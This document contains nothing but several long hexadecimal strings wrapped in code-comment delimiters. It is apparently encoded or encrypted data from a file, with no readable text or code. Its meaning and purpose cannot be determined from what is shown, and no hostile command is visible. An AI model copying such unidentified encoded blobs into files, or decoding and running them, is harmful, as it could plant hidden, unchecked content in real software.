e050083bce8efb09c84a8c335784d77139e30c364f69e9c3024cd844d64653c661ddc45a447dfb12e96620a6809016a6ffdb01526941453b63ba0d98effb3c72407f2f85d53a4a71589c898e212af679567d02c326e75567cf6d27ccf0bce275d2d0fc634edf817fdb038e101edc02a98533d50fa5aec1a182e44449453ffae7e9dd054b97e26c3b22dc309c4ba37b2225f826c2daa3c27b5c3aba47d4a6aec5485c707c846e374cda9b7a0044e284c18af340f96f201de211166316e7e3f9711575b5f4ffd513165ae0e220f8eddab1d5e42548758b264c7958e52d8b5528fe661723adf6b1dfb8d87d40437172a78fbbb121a9fbef6494e6c05bd130f914b265f859c2d79d85a01e9b3c541489d94275bf42315eeb640542d6646b6f07314292070736eeeba4a3f543e61d93a499377bd8b87f899a6f89f1dcd8fc558ae0a04590a5b8d5273e940c45a4e6de7fa9e09d022c671a8f77dd5dac51646c993d33aad24b099cce29b53ebc9d62cdc9b31d248dae642c7195ef114ff5232194107df2f873fe27b5a476a788ecbf9bec824eb5b6192fbdb951554d63e911aeb0c08320f76de2460277a732c20a109d882cbd190e0b9a2ed23bc80cb50f5e29dc08fe7ef5821ac368f2f74a3106b1264416879a8ed0b41661ce28d08005e759c58fb25b29af2a37ae7ba70e3d01464958c4d036ff70fbe7d45255e4a361ee7e2758b2b36e84f575b852354c16d4c0318a74b8455e4cef97c9d003b98f404317dad50446cffc71d6a2383098b490cec6ea8926ec96ba2597f7225c98cdc438b21506e8cf087e7b4845686034152ecc4263ab23aac43c99dfbea3e4fbc584615a650d31b3601ff9f0ad962812c797f9d958b68da1e3af4f735ca386dcd0bfb8c4a8d09bac3e2d868afc0c3d5c5bbc6b8cf450c64dd3d0c0f20fdaa835354eceec5cf5f6714e3c17c5ec43d857e50064c4607ffd66d0f4d6b7e24eae2f2f2aeab48f71f6dd8899a307f415a5be28a6ccaf037609fa040c38c0e6ea97b375acebba80666288a8b441468afe95cd474e692a34c82b4017ac6ffd88f166acb8bd5f8ad43d43879c5394e659b384b2055c9b4d7bf7f3f5b4e56686fdc7b2d8ea2bc3debb22bd9d808c834b8e2959d4a480e596d8581fc509c307cf02dccf4c953f80714959026f12f64b203cb0da5913355cd2bb00d1f4a9879580de20d6910bec253d94dcdb944ccad435ae839c4c88ef32a81095b2291bc9ba089911449fa1de70eaca471ecb7eae508c666efb9c8aaab7d20d59d67f0a515b480c9bbfc65e1462b0112950a5ae90ac377f587226b2e7116b726d95ab0809915a34fb6a75c89052beb3534a70a5852b624d1ffc6c3c35a58e889a865d68112753177bc2fa6a4ff7f4be5631f98dfbe44bd775e294484087b671e86130695708701879b66a045ea5ee8df27ae9e4a30f9d8a8f68bda136d30312f7415368f3298da9c4aae26d92182350843c806b3b504e7fa53a46bc3e7db8c1fa3b8d306648d5f4a7466a73ee3fb00e4c2c76cec7921286f4a904b418524c602679714eff323d47575d9ba123a2f6448189ec81a3df79b94e961d91346657ce06276f36ce16754d16f7ef298d1e10c3c6514878576ce798f764f407d21739d67272b09541090376df00716294fa3a71acdbd23eaa5f0ed46c0ebdfb45d904d4ff27895fefe072b1ee97fc13e83f2c62ba316a3a4d0cf633776869ffce839950ab73a8b635784de046771d087770a78e96a1743b54684efe5e9f64fc6e4eae044f4dc7b5733ed3f3bd3b454d249dce04e7bb3938e8a06794913dcb9077944d7ecd69a32bff59ca0d6de3e750cbfdbdd6b8e14842a663aa1be3840cb2b3c0d25dae8bdbb7cb0c7da5865073afd847057d665c3bf8011c629e2effeda5d70c3b04432a0eea46d5e32e072d63d04358f82e8f94220b65810801d5342beeac5c193cdefab4b88da0a100bb43641e3e5b7273c3b6845888ab063dc46345e82cf598309e5ed7af8fc08805c825ef3b9f439a*/
/*9d672cdc1a4fb2028d77777e40bb5765c3d613ae61825849830ef63004066476b7831d04c22dc67d0703d006db77d90c203df9838edf119ddcdf12b7b34df6c8310bf3ed6a358102c30806bc8bec833ff5cfcb7877e46e071349f2977e1597e37c157869a2c653648ebd2f519103a68e6ab362bf31c34698920c136a66be079e69eb5599063c7bee36d93274e3d7ce1b411af6e6d73541637d44c7073cf532d7d79b9462703db45447489e8e8c8c565b23338b4fd2156be167bb5d53c33102dc2e9cfe9bf14c07d02e0a6f07a26bdaf3bb112f454e076ff95f2dee03047367e6947c8aff8a40572cd09555a4a099bf690f7431fe31b6a9b0c08ef633fba9ad720c6d9636aeed293fe8ed8a3ac8d604c669b687ca8543e0ad461fa3889a2a505ba26d5a87dfda3933764a6ab674d1308850779d0da90f7198deac92767e8e78b3c7a038d0fcb48dd192bdec8f55c5eb96639148c6c4c587a86bd0fc4f29aea2ed6bd7afbe003fc118e3befd36b13419c100c638a02e870f20f97a5787ba2b0b93a5ec34d86ccfe7e435c0206d2f46960bf17a2fe85927c3f805700353ebb528edae23181a23262ac04d6cc93c06400be9d2150730a68876ff9b533921efbdcb415b3ba4b63b5333ac9e65a737a84b1950ed8290812a530aac2e0d2f6ae9e968d62742137773c3f05b6da6fc801b474649fdbf6c67c0f54569b192580a422dbba6d2dad362d511f4605bb08da8dac3cf9bd5e731de528847004a84a7e4c9c8433b74e8322fa7dbe675d752fdbe155c5d26d1f3f3d91dc391b91dfc9fd8d73c54790590466db996abf43e0c577bda96142e317a99a7a563f69b80d8c6136e9af3909912e8812f664acdd86f1aa1f2573ffad87e86f08909da82352242ce8f3bb25a306ea52eef5825b1842c09ba8bb2562d4f16dbbf7f402c11a6e5cfaad9c6d2171554725babdd8653d73eba8f25e3a99133a8139a34f772fffc9fb9b003142aa1037cf61d738f9e486dc3e975b48ac1ff67619b68a0e64fb22f85c0ad713907ba8cc366c71b1397ad962661c5cf508ef953a14c7efcfa4ccb76af30dc2492eb41dfca8c113000e075f021069e4ffd4c445f92bc7f6d7da01a34e653ec6d0ad736b57b93a9596d0d06312662075f0fa1a3ccfff5eeba746f9b71ae1a8e37c8623bad74b9a85a1d0d058e738dafe36e6d309ed62f2c2fb5e8ff78a32dec75626022c4a531adf04ef5718f704add81c6de6cc866c732b96c5d626b109e43e07c47983b22a0eec9fe705ecc52b66f1dc51d0bbde060766d3beb5c3c109a2dea20efaff23c7ff2efa25966d054ac3a153fc03b2fafa89426b1f4b04a0d1e2841189e7858ec7934c318c4ec3d5afef3b9b612d6cea59d80e7bf98a4d885ee4125ae1a2c9f6e2f4311d0ac2af976e53370ee8d9e9b521ce912859dd5c7cc4ee63ccd6f63bd3d82c0ea185b250e639b780d6990488d7343ddaded868835a1166329a9033196176b465f5e1f4c8a912b6cce106269e8bf0b608ceaf3795b334b37de1c28d1be1f88a256878e8bf44c8838c8ffa81f288f7107934126b664c0af217e81ebfc0a7c0f36dec6b6c5f361cdae95950938aa05cc23ef0630e20619dfddc08a9e364c27f30e71786eebbff141b15de36aff921dc981debe73b51371f0d41d9e88409598570d7524c050f0cd919dbd7e36627c55516038746ff0808dddb5aa96a96f3e7151ab51bdd48bc7f5616c0b2c020fb863732c23251b99667e15a98008e4e4645d8679f8d6ed278c25adbe017da076320747e99ef17b6f30a1d5ec83437188065e641da25c9da987b3ec46a77f8f6cbc91b588c7b417a790a2c68019f3142902d7ab6d7be2c92acf71814f0e96370291972ffdbaa428f50934bbebc14e4da51642fce413375abd754c49d91793cab37b408beac8807857d66c01904414462adbe44facf88fdf0b2c2e3349bdf4a5612921e088d38915c780614a9ec561f07c3d700ec521e2a345de845bafaa5659419801a6ad2ce97344df989cefc2d44cceaeb4ba6d5cc19c2fc68481ec0f89564b88bb0e203aab0bca8792f9eef4c15454c28299888f70ffda29ee783c0bff289b65bfd2c4043d3df83aca0969fbaf3522ddb929a0409f3fd0eb721f3fa59c7386c1e18f30cecee0851953cef2f20f4f78b633a4a780bf77deda2194a4c388b73b70aa30c953dd129e77e9579d99647af9626179c659a8e3944171ec5084a8061c80e7a1c19dcbea5253363dcad75e477128509636ba8e7f2c0a44afc90db7207f8006a3c6515986acb7d011ea6092a97ca315a4a38dd73e4b52b516251b975bb150478a38d461b8b60ea5ddc7c98c32f2cfbc39003d12b2431bb9a31ba6d0009a0606ce9daa38002f252c1704d53bd7a28ae6696767d5ca5c26b7e70bccf0dcc4d8c0a875bb57340e07e5b682876a5cf0748a12c3fd89743dc17ec10c3aeab31871ab9bc6d13768369ad88cb9ce892b11594af34d557603e1045087b082a0d6558e1b6fc4a2fce9a8992e567282e8a0f66d85db736393ebbc508bfec3eca56717a471115e1632156432a2ab30d2bff91e65feed4c4495519c0767defaa713662a8be3a25801c844ddc7daa0e0d7e9b61a3104498479e21fcc205d6e68705b0b51a0b1300571ace901007654acab007936942da07424222e63682f2f069d398e7d395efce1254a5e3e3044ed4df1d3d40fd5f11949c701d91b75e9fb380281c7169cb7bbdeb2b1e4df4f6f6c0366a4ea4eeac704ba569f00aef0fe8321d059b875d6130561967f7ffcdd56d86cb644ddaf39b1a41b728aaff71a0229bf8a9a9a8b*/
/*34e0c093f962124b56cf38c8a4c52e9c59ef4c736c1410c13af04608a37936ef1971c151e0ce0f3b96dca7cea2a6cc2dadec6c564b6516395863a91e884e98437538b8b81a2bf987a5a0992099c0c8bdcc60440597a82aaa7070ba33ab8d82542adb8e1ab48e21ff77d9372ba46c4a126ae6648374fedeffa1fc390e1a2d86d148618d101b7fc83a1c637e7748fdef8e3372cea37d9f879a11cc8f6351cff2a472822f49b6e82033c1dcec4da000f5d730e1d471c38b53b3d9cdc80607a8ed991a8b22aeaf411067ca2815aa20ac809554d9ab3dbd5c050747f74ea985f4257fb841df41e6f96db7708a58d38ea1e22f767426a812248223d90c6d76989629db48afd86bc80f6fa06512dbd7ddd4b4b6b368d3314905dfd49d6a363e2b82d9ece1609904cddca49b06e146490ed2ee78a5a92fea97b97ac7c3f6ccd13034cf84edbea1eab650874bc6e9ff3ed6c74f2341797572da7f35c0330cb10f26db99a702353ec1bdc3faacabc9f16f59229e135f612501f40112f32538f3c551bac4b554335861e33caaa45af5d5d0a1cc7a11b3e50f7c8981aef7975140c3028844738597094562f83d802cee4d94a20f5be3f0b177c1f6641f399d08dbacd2afc714ce4d0774d1145b3b8262d2de294d19ff5eaf52651833d8dad81cbb7bfd6ab9e2701253fc833d1272d28505c986bebf4f2e4e07f51bbdc90092f147dee087f463b0d9e072a93f609b8a2c40c47a0e6a2053ee917532dee5ccd002b6e710cdcd3a0f9c46603930b3c19a29925bd7080c64f00f1977899e6a9e0a07bb8d318e2c952b1f4d20243d2737efe5c1c9e6b9033b584d70372e76980ee7a1dc29df79f02a6431d05767da1e8cc41373329cb2151c3070cd79487cdcab9750d00f61ef51428ad99c6b1e0b7b43047d9a35bccd1b3fc7692c6d641713802e6385da5e685f9823700558b90ab6bbfeaf94fa448b0e3f7ef10e62dc62c3289ef48bfee64f052c5c47fbf69f65476ff569f8b0bf7d30dbdbc17fbab8ca33892f101489e5a35f1bc9ac535efeddbde19c7ae4d8de8fc43e12ace3eb0e666fd44c49447729406d6c7a72fb92ea32e1c906bc85b6b66974af65fa816d9547c7f9a5016323722ecd0ab9850bff9750b650ece550cbc3e92130d6138ce2760e0d5889308c6963b8db7048088201d39e6922ca94d4f4b28946cc0de8220ba439565177a691e6b7d11a1d8ffe4fcde8e562f2731d6841206155f157394d6b0e3108f9b7727044cda09822bec0f5a92e778cf6a562255d8a31f24a69864dd7af103829b1e7015778092ffa0ac3f77a6ba1b144db7ea0bd968a1d1cf63c006e311f35eb844694433228ba007ba2c5e406fba9f2fb47262fc5825cb9ac1ea958a2d45f1ae465c1e772d3dc4852a88e63313268e3e68eccf7067cf97ce5f7273e8020f2d2c7318398e9602ce512c26596c2dd88c3381090e2012d988632dc870e8a8f03b4c6a6eec0272be9e5464bba6a0eba52e1e5e0edecf4413b4cfba165150775a2d8c95620f4ed0e05de4979dd967a86cdc5bb1889cb2bd4ff45d6ff1bc273a9566af28469858cc52f4d8f3ffbc1cf638fa2d695fc932574cdc757c20927d4013844063d79f98ffd3575dfb53f405ff6d17ecad21df494ee837c21bf20e7997a5cfe59a7862addec5440c3f97efca5ccc0cce25e49285baed6ccd097a1bd6cf7a3803a4d51dc00aa73371c5a22a8b72308664f3f0a624ba45cdd5b8f83c6067df2325ebeea802436d0978b4008a50d0634f8ad96d6da03f2bbc61353d43d821127db05852cdcbd2ac0ecd3b0dfcdfc899a48a5fdcda6607aebe2443cb1ea044f45d9c4064089d0fe616746448844bbace8e2b2c712714f1ed1ef14af30dd11122a14fe9247d171f71e5818e1c04962931d9e07c08b4666bca294a4c5aecd90d093762c80b49d2dbd1c73158142b8c46fce43486875ae34444a54e5eeeb05e9ea8943050c09c1b0a82f674808ac515e0419290d4a9b587f4fb5c00c4e8eec18f6cb42020f5d70873f091a108cc068d983b7a96c4c36c9d4f6badf795421d2766b442a6de10c0e3b5d5bec8c7b42145413d5dd843f44a381b404391b02411f7fe5ad900f18a50232977e8bdad9767558c3b5d321ba105f74d1c9d73a7eb9da61ae79d4740092556868cc62ec56b62049977ae383abe0e5a1fdf113376a8ca7eeb026e8e223ddcdb1bb1e7f2f2b4b7cefb0ba60fc524f02fc7219e58f346ec0902a837777692b8dbccae83a86ba6e93c0db366a6a425cbe028b225319b044729b5fdb3ccea7c657a4391d21ec8a5a53292ff534827480d3083250a96d37c12bf2f398f1e6dc38bb80a22dd8e4f48ef54cce7de8c54381a3db611085d09b2fbfe4a88d82f8c2522491e50522af6b3c1d89e65264c5521c65d188efe131ee3501e9fafcd14cd86757d9e8635021b65a7635d1249b7743a02c63d78df8963363c1197b89588285f9632b3cad4409f6583f6950591aee53006a2988791a4eb93b03e6b5279548939f8d5aed2ac7a7abadfcd99a104aa8f2f450ca7d02f276937b55fe6bd184ae793ff8dd4b9609f3daafffa7989720ff1bc58770c68c0b72ad7c3238fa265db22fc67906f9839a272a56caada01e2788ff69f0cba7e9b153973900a53dafdca58875fa67a3411f9459628d464fa03722ef689934ec06e42bd4c4466792f8816c7269f1c5a00d3a3ceb9007f3e8e4522ddc54a2b6d1ea5f53397ae7de3e26a4e1166ae3ebf15588dd97415162cbb9ecfcc89252e05b24e81d541cbb510c093d76896fe99529fbdbb08725db26dcfc6e4a8a46006dd05bdd*/
/*42b4afc4c4bf836e1213dbed913d761b9c07c93799e5cf8ffc473e09417a77a4c8460f0ff5d474c7b6ca9245d71dbf58a2ebe0483c79f010c3f2da913c81ff3bcbabb699b084ea3222660d01b76a58db1a378d5e3ccd2116f773d80d303d6ab27c421d97cad79767c6226739821bc9b46d03d42f2dd10845a7dc4b93243cf627047d7e9ab34bd6aeb83eb5d2b6790724d6b8c5fe0bd6219c9adf90b16278fc1cbced4f2a66d74d8978fc2a6f71b95cee4ad461d45f44ab58398f0b6698d0af7a9b4fb01e17dd41c770e8a41e6373f947a18a474f17ba521a00836b3561143c9d301d3452888b17edbca7d7608c84e1817bf5ac4d7635d32d3a765947acf55da610b73500f377b8011bf5c953fd178da5973cfd2c5fdba42aebe7484592dfd84c59119ef69d4d04a5f2c822b76d34c70bdd2c8719749050f05c7260a2d255d22484a7eb8a6f36a51eea3666ab06c2dde01ad42bbe78783609609876ac0fa05915c6dcff5bd422393f2ed0fcf835ed17c9f4c5db98ba67075f5f0139d79a404170d7a7c497cbe2cceb6e720a243f8dced6716137b44aaf9928fcf2c390581c81618a7a51328e2acd88e93c0fd928fa69b363446b4cd494e8d0d7efb2fd1b745165bb14db50fb70e9b10e111a1459c80e01924f34a5ccf133785c7f2ad6e4a474d8041ba8190472a5f481cc63b2b23ab00a8317f14368f6c48ea53ebe47a6c9b19fd82f6cb9560f548612aeb2c1bd7b5cebd8e55a00a8feb01965a9e235e1e0a85b56111e1f219e79a02998505cd4122b3af37602ff86f9a2c51c759573c7bb71efb805579aeaad7c516d3b033f4f0886f07a690258fd6c1895115f4f46b6fa10766b3784dbc9b2a8eb311b7680ac11a44c3d517a5b18518acd79fad0ad7b27a953b6c42ded7850d87d3e4d72dfd083cc0e7a1b900b28e352a3b4e4ad2e3dd59f35e75ba4df01a6519de38ae190e70cca2cbd8c5b54177bd1d7dafb6d8d71d7d6c3f4bf6e7eb2b5941d19897bd4737be7e88ff5d2e9181a406f6bb000a56db700e3d0b43d1e46f7af17908b5108db356c6f812f5f4728f407bf566a73b2a18233fa5abde5a19613735a3736e3fb395b49f6acbe18217ffddfd74dccef3ee469fba5e7d6220486045d4236a00fe982834d4ae02562d915f34373eb409f5ab2efed1a75393a61634c32bc6b649cbac1bee4eb577d705e7ede561f3b6f68ba0fba727f0279f2c9cbdc11cabbabed1a6404deee8b44a5dacbd76f3a345d25718ea7c69729f9d18f099e37871391b6749c62addb8a6eadfb327d488be2233e22379585e6c00998de160539c5e3ccd764cdb82c7487706bf39600fb83a438ce4d00abfea764d6d0efcdaaf294d40ba4521dfd74ea389915afa351f6f1fb8719e0a67980f181fddd8e5904bfee2f2dce4ea65b59490fec6a48b8e6838aae1561d0f0b1ac158ccdce947c035d1b73a3c77a54f1dd5fcf30ccacb67c9c3a28d202d276ae7eb2fff5a91e1dc2521cde1e858ebe1cafd5adcaf750dd56da8d43aeda1b860d514782012f023ed0287c5c026b7f01ff9aa99d5e83d6c332ea8c2b403594bd466b78c5f58522660b512e6cc5317b8841dfaced2b8dc7e0fb918552e3aabfe47bf9a37920586d736058f80d5f1ad3f0c861b6bf7b1ef1a35c96c3006fc0b803bb7ff1fe294bc4e14e3bcde71b1434d782deb392a287e435e7e89afe89944dfbd5a79d12fa5b929032ce9d46589535876c50e4a410eccc586bcfabbe6fb98ce788b0d3162877e2611241a17ad6b16c1598a2bf150904dab9cb68a217c5687c03c35a2540e683a6c62aa2fcd8cfbbf7b5cdcf406fa38d39ed8b2affc64ad6c1de8b5d3bef827f6f6310f4a6dae1f06dd61d9783acd2a970d9acc9540b20dd782a278b5d8735ce78d005ab4078ff9293c420b4ac3a9ee0047b670c44d71f02759434e9301cfe1f67878f837e41f318be1cd7a2295e246e19d42bfc947516726944191aa932212150f2e0019b868fae47379a4f738a326255c97da3fac797bcb8f398018a6f9b63e933f41364b2438d749f8ea0e532e466cea5700823c483a0557fa69ab751e1a724f230d67ddcc9d3f843f2914383b43c4adefb0758b993e5c323d5807c886d21c9a5f6aa54066f47d63dac329e75911a5c4fcaf5ac658c1d67ab4a8d2dcd8d5bc884159c665a3d99c600d648a59d048da740e4408524f42aa29502a19af4926da46d8823e63f5a1fee1bb4197c8f39e188a7ecf3ccdcfbe7832f9dfc9aac540dced25e28223fdc9e358190ca8a415d9b055d167e15d9d13835d7ae1278434ab95de7cd8f35a544f1d49bcdd0b8bbd0a42d8d12503856421aa899cdd931bbaaa8d618503c93daca07f0853fb954a34d4ede595543d2757aa972cfc8fdd597a457b65ec309a676466f36efbd792bd3824441311abbc8b25dc5199cff7a4744424a8bc635485263f98c91be47e435521e81c9999f995a146347f042b614addb1da803a7d3d3b824d8da07117f4d052f7cba5a0a1bc6905b1843574fc07bf774c89957badb6cd02b7ccf08a8bd02ab749fbfe0e399064888f2ffa8487c60e3530998ed538dd2529389423fdb3c8f5db3c185742c2ba278f33b8e926833ad0deea1835554eb41a5eb530fbd5d388877b3c03b92f630a607949b65920c2a7e9624005699d4a3d5cc75ec0eea0887341ba090635f1cc118bac53e13fb978b1b4172a581c3b9e8a1b291ec07dd8f2a38f6bcd761e51565aa46c37fe0bdb1483ffeea742903beb177c4b78f9da1002a41dc92b71306d03fd8a24c07ac28010f0832d02046ffc59fb31bc6d2b420ff9379c6*/
/*ce7138755e545b38881ebc6a02efd9b06a529abe701c2d52d4099c405988961fa608c046ece47629c9b6e23267f7726e0b0f2194406b8cba277fe86a890088166d695468c7fb21059ed030b8d1ab6fc0aa1a127ac7c35d7f03b1f98609018b78ab835beb62436eeb0fa912a0efbb98a86d5c0cb6ba287aef2c89ad124ffd123a51752aa4c8ab140e6a95aab0e8d37bd7f0db92b48baaae5cf2303298a51c042ec1d4cf39c7c21b3b8764285cb8c176b67c353b8864c73ab74f58cac778871cab0f89479acabedf1d146065341499a6530f477e53a4b1bd8130ea6265a253735185a449d4bc526be14963ca140c59fdbda5a1c5e526d4b4707c1ac583b4d05c6e893c63d8242db64c236e7977683af9abf687c26d3c177ea5ccd95fa83622d4929b06b89e79ad7a600b81d1548a40264d1e77e40f1a9aadfd1382cc7a822e95fa43e280d1dbd069f2dc1b84b8ff17c00373530c2d5ca3062aeac78abebd0aacdb45b1bbd825bbe212be73b0aaa732009799836d286435da740359a2063ea7587fa25f3d3a0256b521f353b560386061e520c38e9d30d2361c7b9e7f6328eb21f9c474afc66b17b24e05e0f8cdabb577980652cdd89c681ec804a81a8e57c4b043678ab721ce7e430f118faab93c8896bbd986cf7dde636fbdbaa96199e56615fced7547eba4b83ebe7e64baed958a92fcda196b325c83e7f776061386cebb3cd1bd0285c7c373df0495ff8097ea87d1c6504303133e638fa1811ce7872f515ddbfb8f7873d91779dc1bd3d1072410d6b835388b476be0622686481f8cb94c9e4539397df6d3d588f3b131fd18365670296315ae1942de0777986025b5395774f0735c35c6f25062464cf00edcbfe3661f7a88546f6b50d332505c56c376c4b93b5a179658ecd6d988102c9f7ec5e48f503c0ec1144befe560f09a7dc1d2e0123a080f87366a1975f35e7294dc9a087c58f808489864c0b7ac1f78b416601b1f5b9963583171907f234e9d27058b1a9a9d511d922c063f930f4f5b8f8a4e12296e24a0c7b82779ae3a9b656c462fb839fa8632a7c5ec55155b1c235074d7fb30e34b5fececc1c64bb6a4eadc240b4d5ca1f8c54562af07657e5ca898d96665dda2c76e449bc1e018ef56722cadadf2296faea505740cda5f84eeef8e9d373edcdb0cdc4ca46cca864141814145036371800f7a425dc638ce666180ab264b53639194a63889418746f8d4e6f56707ac9162ea0f7a990605f8461fa59c914aaeb7b6d97a34f52ffd18e9085181e6a4ebd95a6ccd1eeb13958d747def7e580da4ed68b10cc4bfdbfd399a58f12e3ef15b2ff5c333330053a73df411ff360537e12d0a56c5ff4ebd8edd71c6a0eddbb4a852d5df0489b1fa6d39841394c442f61abc8ea815717c5cda10ac581bbde112184aa7cfd29e1f903377f12acd90bd7f85f5250c7ce9dc938e60be483f85ea2e5c419846222f8b5c1fda26104ee417ecdda75238a52fac3e402899f508a112666aa5c90496b9b1b6cf3e96e23e8bc07c2bae1c5b3cb62acbc5d1a71cfd087cf9cb99d87a87941539bce68486f822d49e4cf21d08f08b53914f9b404c418c0f3e18b35fcba653e119b9aef3f7bf8e3e0e64b31133bd03cc793ae417afe04990db226f13314ac153483690221957db678f15d8df601cd7fedc259dc343abeaefa42ae861f075bb015883d8ee91e5bf48a7950e051af6448de333fa5b1754aef27a6aa8641891e25c8c9f1460e9400b267d6c313209bb5eb3d04a5a620ef335b0aca4e3eea3f1aa9b58ad6ebeb10a082eddaa173086e315d7bcebc5410a2c9c7c843d9fa2b020463fce6d1f7d353b6a429213d6e1d878481925b4eae08647421683bef19ce6b8f8af0dd8fe8941c0240f4128e767ba282580d1d0947ed190a0b8dab548650edc7ea1ecc624aa3892524177a1ab8ba4154bb08bbfb5729c9e4beca10e0b73ee6a66a1e3cd5e0c2de104ef268cda72146ff26f83cdad9142067355592c247760b403673e94ae24e47e4fff2c06e79b1651da5f6957ab8395cdfce4c5a3d444573ce5fff690170399278480d8c93f4aa58cfc94f1e6433b3fee1e6a6b75b52a581ffa2045a34a63ef6ac9311ef54bd4504527e336796c4e208a3a418e60bf3715004c40a7a27fd4e5c4a45f672a935796cdcf66c0bddbd6706df50f6ced9ee33b9cd68a2fe4216563299820cf162df427946bf88ba98a707982b0ca0de0de5ef3d74e4c115f757ab3f587ac5afe751235e3490eee3381be8b875626b7874ee8fb545c0d26f69305d03ceca3707da5f3daca7d644de237985d7e2e0058c8e848d82893e7cebf22ee9f94c08cb45c34daaf02eb6bd4586ec972dd1825425886644be91308a8e238c8c5c0d8ca375552e147068a9edd0d064fd5f8a3262787a43e17141a7a895cb0887b6af0656a9445252f4429191be5cadb5e08d97a3deff225b7994cd7fc990725a3d0b3ae8ae2f60589d0189fc1889a4561e9be51657e333667aa551a5f2a3f91bddd7a503c3c3b11d4e6805f00d7ec69eb7fe58d8de1f3ad51ed873e80b62b173e05d151ad524b7b1a75ffe875e0a1a7f6ff680f302f83e3a3b1aa69f42612e9d3de1472926ca664a958742136e5ff7d64594b90e3f2a3b94287225bcdc45ec5d6e6e20d367fba1918a1f9c32fc44e4c6670b118d2665d3e8fcf27368dcc05f803889bbef5bace41aef52587b6858e6745c7b89a5cdd530f804544f171871198935b44eecdbd6b6a93f154d0df760fd1af576fa56f2ea0fbc20f94d8a0febe6b9b375476e8007fb6d00362d2ef09808ca42a2ac6a4d82f0b*/
/*80b6fc963f8e5e589672dd5c5ef81efe827f7dbafab82ebfc8216a80c37ae83f0d186ddc0a1a52e5526bd5e7ae490da5a9aff8efb6ebdf3716fd09e4d1267129d0f0f60efa6ffdae0b69bd20e8704f3842fb2f8f197886d9d0c013f73c2d7d5ac0d8bcec099addee143f4280af99c85f34b58198e8592f091fd1393f0ade43cb306b74f7fc2e040e3c6398c4b9291c87819923095d86c2c718e4bf776e24d24d33709567d12bfd14c2e5523ed7bbc0bc6c466fef0c4fb5259c2f29e98a09001f415533dcc20768e602c4a173b5c26cb742c8a65ef9ba80825c654b19f17fe2d7d35d77a53779bfd4c6fae7de102b4dd878925a283e12b6b8ea41e2a54686656183b6c7703b0b6ed4142447f2897ffe33360daf7f6b0621bcb058fe2f4ce8a8678730028734b201bb4a86fbf09d595a720117eb92471f0cf437d0e59066de9faa186bd349f46f51dff758b78b256ad5d6a37ead784d7982546b9ad67a40d9063c22c7a8e0a440b5480e97242bb20fd2fbbfae727007bf63aa0071902bc09b0b1d34a48483bf86db7a1b0fb400ec25d0d6e3d174226a8812979a6f888c63c3c4de15d710f2bc16bba6a9e7be73cdda2dc85675c687197791a3c98f3f976689f0a61ea99fba4216ffd2a00a1ddec753914907467642a535fb1525adbfea553de7bcdb160a442e4004e92988f7a1a85d6308e3cc398c5999d13c9916a7e7c463cf3eaeedc020152ad3fd0f860b276a0b2f96e22c4b258b69373b2bb6f9ef10082960ef9d79dac375eac863bf118e998ea99e96b0f0753557a6575a166e5e1036a6233c2973898e02de242a94db4f44cfdc25b1a600530e3d2419225fea1aa99b1bac9140303149a85496e7ff18b255cb921c0e41ade0258e9671825d9f31524b756584cfe09132de9431cd53719ae9befc4d63cf29973a8110363c406ba598b11899d7ae86c1a4e9d6fac708c4a3ce185793ea4df7a42474ac03a45d8cf57c10c254e35ccc5abf517fc57f698a26fb66c496a84f60a7ccf4c8b9653aeba8a263a4957d9f9ba38b79237d059901d48146a08a8fbcad8c62f4a9effd4834a853add3a8f1add7f55f226689e9bd2361dbc9b1b245a0010b7fb8203eb63b3c87d2e435ae9d408afee13015565a9f12fdcf20d1da95fbf7a949c0b2a94ff599cc697c0742fa5ef039a655a34666184519a24b015e54486d7b00cb076d2f8ed98159dfb65417af1e9abcf38558324e83588e2e0a00cdbd3fde1237ae1e1be0ca682ae8cf19bf17c418bd1e8f9263fb99fa2756be97f22c9da651eea4086c4793dd81b01c3a4c43194bfb86f9c2e39e05d19d2280936d9f091e2071a16cf63d2f6f7f11101fab70fd248e9bf0f525d8fada2565a3d067ae894cef10adb422f091a594597b5658e680c04d4f6b53f4247d8de23175292a60a83af2c0b14a68144a0d3d95c2f4c40183202cf6e106e8b1d03a223356357268cfcddbd7b6111d51dcc4aee0cc47cbf2d25aba494d98dfbe6ea5da9b053d1da4c94e6913cf0ed298746ceb3308aebe5677b7be01dfc2caf90dcec2ae87fbb3d327d00a3f54e2a6bb3f385593d6a8f69b91c63deb71093e6c7e43d17a87d30909aabea650c51307d3a37ab4e8217ad8bfed4799233ae869fa427cc1833e484274a028bc7529541b2650998a4869fc983650a4167691f0ad30a6526e05a0433223ed68e45e3a486ddb80b4cf778a7155b0b078131132311b223495bbc7df1c16f27d02c25316bccd4f690d26f732b96a90ccdb6f07916550a2582bed080606eeffe2e3a29e7d6a85031084fa20f8351c25c02b09ca9a5aecd5597aa0b73ae90cb9362a9d6cef3a16f5032be37ec7f98730b1113f369435713363d5a80ba9f5118fda94ada0fcbe998fe82c879e65734717e3395414e713fb987a3c5300902c9df2b3fbe959fd52d5d4a20b0846077bae8d62c14a45d70422d08c5f55563ea0c88440e2dc19bd8843df29c9ad6663c87d2d48c5cd7e7f340fef8614713dfb9354535bd0b79d2bff47da95d977b9df86d1a6650e00afec14cf67a5f317f515d3708e8388c60efa73295beaa9f2c4dbaed328bce4ea527c5d316e3d7aa14a0d34cd33bf86c269da19ba2db60d73e9035b982a5513df7fdbf29d13ae149ed447a9383920f05c57d0f35f89ba330159e0a1d1b2fc006f454fe38b6af2691e502f644f384f8a0a0b4ac1861aca6e11c81dae107fa554038c63a2c53050179d7d7b62522996235c96015b081efb93ce8cc3a06f9489355224c4c713a3f7f7e212df00dccb3babf592f75ab9422288be2b8556b8e931f5276f8d0bdf09054ac9caedee96411d12614d935bbadcae4023ac3a0d7f3c78626e68e53ae43a82de49be06b55428b6d093f8bc299c25a8ffd885d147e409d56692332bae7a87f443427d363265644d0d10797139c317df575b0c09926f483361c82b54b02d7a178146ff3a1630d2b9f68df65abf894dcf25b962fe4acaceef43af4c8610cb69a026dd389c2a0aa041f67f368ad500e6278d69de0f4e9252f6ba064e3b4da2994209df90f7011060349213afcccc8f8d63fe2711682d9e577c1b51b6c1e46f93d7c120f72b4d0429c366ed28291a46b852d6d6e569b5e41c26c57971f33f4c7746b5ac61295243f1ca6652200896874e2fb3e5d714aa2e5b9da59f4190a024f31cdf97cde5ea6b1c2e18235fb8f4809a75a434140d3330013f2e47f4ee11b9aa88f8db04c66577fa652c0375d0b2eca21d891bac3b6070880112e0fdc4cd8f06dec57921d677ec179106f98350d2fd82bd2392e63a7c324812ec4175116ffc99bce1661978a1*/
